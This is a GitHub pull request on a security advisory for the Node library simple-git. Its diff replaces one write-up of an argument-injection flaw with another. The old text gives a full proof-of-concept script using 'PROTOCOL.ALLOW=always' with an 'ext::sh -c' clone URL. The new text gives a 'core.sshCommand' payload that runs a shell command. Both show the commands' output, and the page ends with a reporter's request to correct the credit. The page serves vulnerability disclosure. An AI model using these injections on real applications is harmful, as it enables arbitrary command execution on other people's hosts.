[GHSA-r275-fr43-pm7q] simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE#7170
Closed
JohannesLks wants to merge 1 commit intoJohannesLks/advisory-improvement-7170from
Conversation
There was a problem hiding this comment.
Pull request overview
Updates a GitHub-reviewed security advisory entry for GHSA-r275-fr43-pm7q / CVE-2026-28292 in the advisories database.
Changes:
- Bumps the advisory’s
modifiedtimestamp. - Replaces the advisory
detailsnarrative and PoC content.
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
You can also share your feedback on Copilot code review. Take the survey.
| ], | ||
| "summary": "simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE", | ||
| "details": "### Summary\n\nThe `blockUnsafeOperationsPlugin` in `simple-git` fails to block git protocol\noverride arguments when the config key is passed in uppercase or mixed case.\nAn attacker who controls arguments passed to git operations can enable the\n`ext::` protocol by passing `-c PROTOCOL.ALLOW=always`, which executes an\narbitrary OS command on the host machine.\n\n---\n\n### Details\n\nThe `preventProtocolOverride` function in\n`simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts` (line 24)\nchecks whether a `-c` argument configures `protocol.allow` using this regex:\n\n```ts\nif (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {\n return;\n}\n```\n\nThis regex is case-sensitive. Git treats config key names\ncase-insensitively — it normalises them to lowercase internally.\nAs a result, passing `PROTOCOL.ALLOW=always`, `Protocol.Allow=always`,\nor any mixed-case variant is not matched by the regex, the check\nreturns without throwing, and git is spawned with the unsafe argument.\n\n**Verification that git normalises the key:**\n\n```bash\n$ git -c PROTOCOL.ALLOW=always config --list | grep protocol\nprotocol.allow=always\n```\n\n**The fix is a single character — add the `/i` flag:**\n\n```ts\n// Before (vulnerable):\nif (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {\n\n// After (fixed):\nif (!/^\\s*protocol(.[a-z]+)?.allow/i.test(next)) {\n```\n\n---\n\n## poc.js\n\n```js\n/**\n * Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass\n *\n * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check\n * that blocks `-c protocol.*.allow=always` from being passed to git commands.\n * The regex is case-sensitive. Git treats config key names case-insensitively.\n * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.\n *\n * Affected : simple-git >= 3.15.0 (all versions with the fix applied)\n * Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5\n * Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai)\n */\n\nconst simpleGit = require('simple-git');\nconst fs = require('fs');\n\nconst SENTINEL = '/tmp/pwn-codeant';\n\n// Clean up from any previous run\ntry { fs.unlinkSync(SENTINEL); } catch (_) {}\n\nconst git = simpleGit();\n\n// ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ────────────────\n// This is the exact PoC Snyk used to report CVE-2022-25912.\n// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.\ngit.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [\n '-c', 'protocol.ext.allow=always', // lowercase — caught by regex\n]).catch((e) => {\n console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');\n console.error(e);\n});\n\n// ── Bypass — PROTOCOL.ALLOW=always (uppercase) ──────────────────────────────\n// The fix regex /^\\s*protocol(.[a-z]+)?.allow/ is case-sensitive.\n// Git normalises config key names to lowercase internally.\n// Uppercase variant passes the check; git enables ext:: and executes the command.\ngit.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [\n '-c', 'PROTOCOL.ALLOW=always', // uppercase — NOT caught by regex\n]).catch((e) => {\n console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');\n console.error(e);\n});\n\n// ── Real-world scenario ──────────────────────────────────────────────────────\n// An application cloning a legitimate repository with user-controlled customArgs.\n// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.\n// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates\n// but the injected argument enables ext:: and the real URL executes the command instead.\n//\n// Legitimate usage (what the app expects):\n// simpleGit().clone('https://github.com/CodeAnt-AI/codeant-quality-gates',\n// '/tmp/codeant-quality-gates', userArgs)\n//\n// Attacker-controlled scenario (what actually runs when args are not sanitised):\nconst LEGITIMATE_URL = 'https://github.com/CodeAnt-AI/codeant-quality-gates';\nconst CLONE_DEST = '/tmp/codeant-quality-gates';\nconst SENTINEL_RW = '/tmp/pwn-realworld';\ntry { fs.unlinkSync(SENTINEL_RW); } catch (_) {}\n\nconst userArgs = ['-c', 'PROTOCOL.ALLOW=always'];\nconst attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2';\n\nsimpleGit().clone(\n attackerURL, // should have been LEGITIMATE_URL\n CLONE_DEST,\n userArgs\n).catch(() => {\n console.log('real-world scenario [target: ' + LEGITIMATE_URL + ']:',\n fs.existsSync(SENTINEL_RW) ? 'PWNED — ' + SENTINEL_RW + ' created' : 'not created');\n});\n```\n\n---\n\n## Test Results\n\n### Vector 1 — Original CVE-2022-25912 (`protocol.ext.allow=always`, lowercase)\n\n**Result: BLOCKED ✅**\n\nThe original Snyk PoC payload using lowercase `protocol.ext.allow=always` is correctly intercepted by `preventProtocolOverride` before git is invoked. A `GitPluginError` is thrown immediately and the sentinel file is never created.\n\n**Output:**\n```\next:: executed:poc not created\nGitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol\n at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9)\n at .../simple-git/dist/cjs/index.js:1266:40\n at Array.forEach (<anonymous>)\n at Object.action (.../simple-git/dist/cjs/index.js:1264:12)\n at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29)\n at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36)\n at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) {\n task: {\n commands: [\n 'clone',\n '-c',\n 'protocol.ext.allow=always',\n 'ext::sh -c touch% /tmp/pwn-original% >&2',\n '/tmp/example-new-repo'\n ],\n format: 'utf-8',\n parser: [Function: parser]\n },\n plugin: 'unsafe'\n}\n```\n\n---\n\n### Vector 2 — Uppercase bypass (`PROTOCOL.ALLOW=always`)\n\n**Result: BYPASSED ⚠️ — RCE confirmed**\n\nThe `preventProtocolOverride` regex `/^\\s*protocol(.[a-z]+)?.allow/` is case-sensitive. `PROTOCOL.ALLOW=always` (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the `ext::` protocol. The injected shell command executes before git errors on the missing repository stream.\n\n**Output:**\n```\next:: executed: PWNED — /tmp/pwn-codeant created\nGitError: Cloning into '/tmp/example-new-repo-2'...\nfatal: Could not read from remote repository.\n\nPlease make sure you have the correct access rights\nand the repository exists.\n\n at Object.action (.../simple-git/dist/cjs/index.js:1440:25)\n at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) {\n task: {\n commands: [\n 'clone',\n '-c',\n 'PROTOCOL.ALLOW=always',\n 'ext::sh -c touch% /tmp/pwn-codeant% >&2',\n '/tmp/example-new-repo-2'\n ],\n format: 'utf-8',\n parser: [Function: parser]\n }\n}\n```\n\n`/tmp/pwn-codeant` was created by the git subprocess — command execution confirmed.\n\n---\n\n### Vector 3 — Real-world scenario (target: `https://github.com/CodeAnt-AI/codeant-quality-gates`)\n\n**Result: BYPASSED ⚠️ — RCE confirmed**\n\nAn application passes user-controlled `customArgs` to `simpleGit().clone()`. The attacker injects `PROTOCOL.ALLOW=always` and substitutes a malicious `ext::` URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables `ext::` and executes the payload before the application can detect the failure.\n\n**Output:**\n```\nreal-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED — /tmp/pwn-realworld created\n```\n\n`/tmp/pwn-realworld` was created — arbitrary command execution in a realistic application context confirmed.\n\n---\n\n## Summary\n\n| # | Vector | Payload | Sentinel file | Result |\n|---|--------|---------|---------------|--------|\n| 1 | CVE-2022-25912 original | `protocol.ext.allow=always` (lowercase) | not created | Blocked ✅ |\n| 2 | Case-sensitivity bypass | `PROTOCOL.ALLOW=always` (uppercase) | `/tmp/pwn-codeant` created | **RCE ⚠️** |\n| 3 | Real-world app scenario | `PROTOCOL.ALLOW=always` + attacker URL | `/tmp/pwn-realworld` created | **RCE ⚠️** |\n\nThe case-sensitive regex in `preventProtocolOverride` blocks `protocol.*.allow` but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.\n\n`/tmp/pwned` is created by the git subprocess via the `ext::` protocol.\n\nAll of the following bypass the check:\n\n| Argument passed via `-c` | Regex matches? | Git honours it? |\n|--------------------------|:--------------:|:---------------:|\n| `protocol.allow=always` | ✅ blocked | ✅ |\n| `PROTOCOL.ALLOW=always` | ❌ bypassed | ✅ |\n| `Protocol.Allow=always` | ❌ bypassed | ✅ |\n| `PROTOCOL.allow=always` | ❌ bypassed | ✅ |\n| `protocol.ALLOW=always` | ❌ bypassed | ✅ |\n\n---\n\n### Impact\n\nAny application that passes user-controlled values into the `customArgs`\nparameter of `clone()`, `fetch()`, `pull()`, `push()` or similar `simple-git`\nmethods is vulnerable to arbitrary command execution on the host machine.\n\nThe `ext::` git protocol executes an arbitrary binary as a remote helper.\nWith `protocol.allow=always` enabled, an attacker can run any OS command\nas the process user — full read, write and execution access on the host.", | ||
| "details": "### Summary\n\nThe `blockUnsafeOperationsPlugin` in `simple-git` can be bypassed to achieve arbitrary command execution. The plugin was introduced to mitigate CVE-2022-25860 and blocks `-c protocol.*.allow` overrides and `--upload-pack`/`--receive-pack` arguments. However, it does not block other git config options that lead to command execution, including `core.sshCommand`, `core.gitProxy`, `core.hooksPath`, and `diff.external`.\n\nAn attacker who controls arguments passed to `clone()`, `raw()`, or the `config` constructor option can inject `-c core.sshCommand=<payload>` to execute arbitrary commands when git encounters an SSH URL.\n\n### Details\n\nThe `blockUnsafeOperationsPlugin` intercepts git commands and validates `-c` arguments against the pattern `/^\\s*protocol(.[a-z]+)?.allow/i`. This only matches `protocol.*.allow` — any other `-c` option passes through unchecked.\n\nGit supports several config options that directly invoke external commands:\n\n| Config option | Effect |\n|---------------|--------|\n| `core.sshCommand` | Command used for SSH transport |\n| `core.gitProxy` | Proxy command for `git://` transport |\n| `core.hooksPath` | Directory containing hook scripts |\n| `diff.external` | External diff command |\n\nNone of these are blocked by the plugin.\n\n### PoC\n\nA clone service reads a JSON job config and passes it to simple-git:\n\n```javascript\nconst simpleGit = require('simple-git');\nconst job = JSON.parse(fs.readFileSync('job.json', 'utf8'));\nsimpleGit().clone(job.repo, job.dir, job.args || []);\n```\n\nAttacker-controlled `job.json`:\n```json\n{\n \"repo\": \"git@target-host:company/app.git\",\n \"dir\": \"/tmp/cloned\",\n \"args\": [\"-c\", \"core.sshCommand=sh -c 'id > pwned'\"]\n}\n```\n\nResult:\n```\n$ node clone_service.js\nCloning into /tmp/cloned ...\nClone failed: Cloning into '/tmp/cloned'...\n\n$ cat pwned\nuid=1001(user) gid=1001(user) groups=1001(user),27(sudo)\n```\n\nThe clone fails (no SSH access), but `core.sshCommand` has already executed the payload.\n\n### Impact\n\nThis is the fifth vulnerability in the same argument injection attack surface:\n\n| CVE | Vector | Fix |\n|-----|--------|-----|\n| CVE-2022-24433 | `--upload-pack` in `fetch()` | Block `--upload-pack` |\n| CVE-2022-24066 | `--upload-pack` in `clone()` | Extend block |\n| CVE-2022-25912 | `ext::` protocol in clone URL | Block `ext::` URLs |\n| CVE-2022-25860 | `-c protocol.ext.allow` | Add blocklist plugin |\n| **This finding** | `-c core.sshCommand` | *Not fixed* |\n\nThe blocklist approach is fundamentally insufficient. The recommended fix is to use an allowlist for `-c` options or to strip all `-c` arguments not on an explicit safe list.\n", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Updates
Comments
Hello GitHub Security Team,
I am writing to request a correction of the credits for this published advisory. I am the original discoverer and reporter of this vulnerability, but another user requested the CVE and received the credits.
Here is the proof of my original disclosure:
Could you please review my original advisory and the maintainer's commit, and update this advisor or replace it by mine to credit me as the original reporter/discoverer?
Thank you for your time and help!
Best regards,
Johannes Möller